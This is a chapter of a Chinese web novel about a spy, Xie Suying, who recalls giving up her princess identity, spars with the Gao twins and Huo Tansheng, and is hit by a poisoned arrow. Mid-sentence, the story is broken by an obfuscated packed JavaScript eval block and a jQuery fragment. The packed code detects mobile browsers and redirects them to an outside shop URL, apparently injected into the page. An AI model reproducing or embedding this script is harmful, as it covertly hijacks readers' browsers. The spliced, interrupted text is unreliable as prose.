在霍檀生去天机阁打探情报时,谢素盈暂居在长公主府的栖月阁中,又做了个梦。
梦境中的一切都被染成了红色,看不到任何场景,只是听得随着檐铃声声,慢慢地随风送过几句话来。
“明月奴,你为何要叛?”
“陛下,将军百战身名裂,遥望故国,可曾会憾?”
“粟呢,是小米。谢素盈的意思呢,就是感谢谢太公让我们有一口热粥喝。”
“好孩子,这天下非一人之天下,而是天下人之天下。我,我谢家此生所愿,只是收复云州而已。”
“燕燕何时归?”
“仁之所在,天下归之。祖母,北周此刻就算得到云州也守不住,便让于谢家又何妨。请您相信我,孩儿定用十五年时间,为您捧回整个大邺。”
而随着最后话音落下,红光慢慢地被一片月光覆盖。
在明月之下,一个一身红色织金蟒纹骑射服的中年女子蹲着,对着她身旁头缠着绷带、跪地奉剑的蓝衣幼女道:“燕燕,你真的想好了吗?你方十二岁。留在北周,你将会是我北周最受宠的公主。你的血统对于大邺来说是耻辱,对我来说却毫无关系。我北周宗室的儿郎们随便你挑,你挑哪个,哪个就是北周未来的王,不开心换一个也无妨。我只要你生下和他们的孩子就够了。”
“同样的,对于我来说,我要的不过是云州的土地,而至于土地上胆敢不遵于我的人。长出来一茬,我就可以杀掉一茬。杀到最后,总会有一个完。你要记住,为人王者,为达目的,自要不择手段。”
“可是,”蓝衣幼女低头,将手中的剑举高,有些颤抖,但隐忍道:“可是孩儿会想起那双眼睛。祖母,我现在依旧记得师父杀我时候的眼神。”
“这个眼神,在这两年出现在许多奋不顾身杀我的人上面。他们有的老,有的小,男男女女,形形色色,多的是骨瘦如柴,连饭都吃不饱的人。他们身无长物,只有一把剑,衣服更是褪色到有些发白,可是他们的眼神都很亮。”
“他们在这两年说过的每一句话,制定过的每一次行动,我都可以听到,所以他们总是失败。这些人在被我杀死之前脸上什么表情都有,但为什么,他们却都没有恐惧呢?他们并没有因为我所谓的绝世容貌,和高贵的公主身份有过什么仁慈或畏惧。”
“孩儿想这个答案,我坐在庙堂之上永远无法知道。北周与大邺战了百年,我北周最后终会和大邺一战,在那样的未来里,也不需要一个什么都不懂的公主或者王后。国之大事,存亡之道,命在于将。而猛将,必发于卒伍。孩儿将会用未来十五年的时间向祖母验证,一个战神将军,永远会比一个只能生育的公主能给祖母带来更大的利益。”
“啧”红衣中年女子起身,笑了起来,微微颔首道:“果然人还是年少得好。少年心气,敢为常人所不能为之事。那便依你所言,广明十六年八月十四,萧燕死于高舒夜之手。北周日后亦再无萧燕,我亦不会给你任何助力,燕燕我期待你某日换个身份从最下层走回到我面前。”
“好。”蓝衣幼女起身,拜别走远的中年女子后,将手中剑弃下,寻了一处,便也走远。
唯有天上月圆,月光照在弃剑的剑鞘之上,隐约现有两字——月亮。
*
“怎么办,我看到了月亮。”高见月对霍檀生说的话,谢素盈耳朵灵敏,自然听得到。
她自梦到三年前的事情后,便起身随意在栖月阁楼上一处栏杆处坐着,听到话音略觉熟悉,一时微怔,便循声向下望去。
高见月却已经跳着坐到了栏杆上,一手支颐,低着头轻声笑着对她问道:“姨母这是从哪座洞府搜寻到的世外仙女呢?横空出世,石破天惊,美到窒息。”
他看着约有二十几岁,小麦肤色,白色的长发被玉冠高束,额前略有些碎发遮挡着眼睛,显得整个人有些慵懒随意。
而与男子洒脱的外在不同的是,高见月的容貌却是极具侵略性的长相,长得高眉深目,美得雌雄莫辨,兼具着力量感和不羁的野性。
但他的眼神却极其清澈,对上谢素盈探究而来的视线,也只是挑眉轻笑,满含欣赏地直言道“是仙女亦是我的月亮呢。”
“喂!高见月!”霍檀生急得兄长也不叫,站在楼下气得跳脚,“你这个混不吝的登徒子,每天爱撩人个没完,你可还记得你还是个男子,怎么能跳到未出阁少女的屋里,你快给我下来!”
谢素盈听着有些想笑。
身为细作,最懂如何伪装潜伏,她还不至于分不清男女,眼前这高见月分明是女子呢。
她心下微嘲,高家兄妹俩,可真不愧是双胞胎,长得一模一样,心眼儿也是同样的多,想想听闻高舒夜是因为她弃剑,她都觉得好笑。
她与他相遇那时方十岁,两年后也才十二岁。就算长得再美,也只是个孩童,而高舒夜两年后及冠。一个正常男人,又怎么可能会喜欢一个幼女。他杀她甚至挑的都是她生辰与他及冠的那日。
她不过是他继续潜伏到北周的另一个理由罢了。
高见月此番,大约是看到她的容貌,一时怀疑起她的身份,想要刺探高舒夜的情报吧。
只有楼下的那傻狗,当了真。
谢素盈看着楼下握拳的霍檀生,轻笑了一下。想到谢家给她的任务还有长公主的后续,她正欲开口向楼下的霍檀生问询,便听得不远处传来脚步声。
循声望去,便只见明霜带着数十个梳着蝶状鬟髻身着鹅黄广袖衫的丫鬟,正快步地穿过长廊,向着他们行来。
风吹过,她们宽大的衣袖翩然作响,待行至栖月阁前时,丫鬟们便有序地分成两列,垂首停下,举起双手的黑漆螺钿托盘。每个托盘上都放着整套已经搭配好、一眼望去便足够华贵的头面服饰。
谢素盈一看难免一顿。
高见月瞧着也觉震撼,有些同情地对着谢素盈道,“二十多套,你一个时辰换得完吗?”
如今高门大多都在辰时向长辈晨起问安。
谢素盈长期在外执行任务,常伴身侧的只有一把刀而已,也是差点忘记高门规矩。虽有些烦,但也还是朝高见月点了点头。
“那…月亮,你需要我帮你参考吗?”高见月揶揄一笑问道。
“可以。”谢素盈轻点头以示同意,直接转身回屋,褪下外衫,侧脸朝高见月挑衅一笑:“就看你有没有这胆量进来。”
她脸色平静,但有一双漂亮的丹凤眼,在不笑时纯净得仿似能够包容万物,而在笑时又眼波流转饱含媚意,勾人沉醉。
饶是高见月并非真正的男子都突然觉得有些心神一荡,在心里哇了一下,便不由自主地要跟着谢素盈身后进屋。
虽说下刻,便被跳上来的霍檀生,踹倒在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349379|199585||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地,被他拖行出去。
等到谢素盈随意择了一套托盘上的繁复宫装换好以后,早不见霍檀生和高见月的身影,她轻嗤一笑,便随着明霜和一众丫鬟朝中路的大堂走去。
长公主府是一座五进三路宅邸,府邸主体在东中两路,谢素盈暂居的栖月阁则位于西路。
由西向东而行的路上,是一个巨大的花园,整个花园植满花树,亭台楼榭池塘假山皆掩映在花树之中。
时值春末,花朵竞相开放,各色堆叠,望之如绣。待谢素盈行至假山旁时,便听得假山一侧有个娇憨的声音传出来:“昙奴哥哥,我可以问你为什么会拒绝和谢家姐姐的婚事吗?”
谢素盈随即抬手,示意身后人停下,默不作声地站在假山后听了起来。
她身体略微倚靠在假山上,看着自己身上层层堆叠的衣裙还有头上有些繁重的头饰,略吐了口气。
这三年她长期在外独身一人执行任务,多多少少也让她不再适应这种高门生活,尤其是还没有防身武器。
谢素盈有些无奈,但还是隔着假山上的空隙,看到一身着碧衣的少女正在抬头向着霍檀生说话。
那少女在说话时,下意识地会带着软糯崇拜的语气,双眼亦是湿漉漉地仰望着对方,嘴角则扬起恰到好处的微笑。
而霍檀生则略显冷淡地反问:“蒋道绵,这与你又有何相关?”
“对,是不关我事。可是谢家姐姐与我说她心中有一少年将军。那将军可是她的盖世英雄呢,为了救她和北周兵相抗衡,还曾向她许诺,愿与卿卿,朝暮与共,此生缓缓,长乐未央。昙奴哥哥,这将军是你吧,我们大邺的权贵世家里,只有霍家和谢家现在在云州与北周相抗。谢广元和谢家姐姐同为谢家人,自然不可能说这话。”
自三年前,萧燕这个身份死后,北周兵力重心其实因为她的潜伏,慢慢地暗中从云州转至大漠,预备先用十五年时间攻克北国其他联盟,暂时也不会和大邺兵戎相见。
这三年之内,唯一一次大邺和北周在云州爆发夺城之战的,就是谢素盈为了丢掉萧燕身份潜伏到云州,而亲自部署的屠杀云州世家计划。
倒是没想到竟然阴错阳差地成就了霍檀生和她现在名义上的嫡姐,谢宁安的姻缘。
也没想到对她冷淡,毫不留情的男人,原来对于心爱的女人会是另一个样子。
还好她提前判定攻略霍檀生任务有坑。
谢素盈心存侥幸,嘴边挂着清浅的笑意,也没有兴致再听霍檀生对蒋道绵的回复,径直地招呼着丫鬟便又走远。待行了片刻,却只见曲折回廊掩映在树枝中,实在是看不到终点,她无奈地在心中暗道,这长公主府可真大。
却在下一刻。
她猛地向后一撤,在她撤走的地方便现出几支羽箭。
“快跑!”
谢素盈立刻向着身后的丫鬟命令,同时也随便择了一处欲跑,但是她身着的繁复宫装一时牵绊住她的步伐,而她身侧的丫鬟也略微有些怔愣,谢素盈忙将丫鬟护在身后,下刻肩膀便被箭矢穿进。
那箭矢泛着绿光,显然染着毒。
谢素盈垂下眼睫,轻叹了口气,有些想笑,却慢慢地倒地昏了过去。
在闭眼的最后一瞬,她只在心里暗道,真不知道是谁给选的衣裙,坑得她好狠,她这中了染毒的弓箭,也不知道下刻是否还在。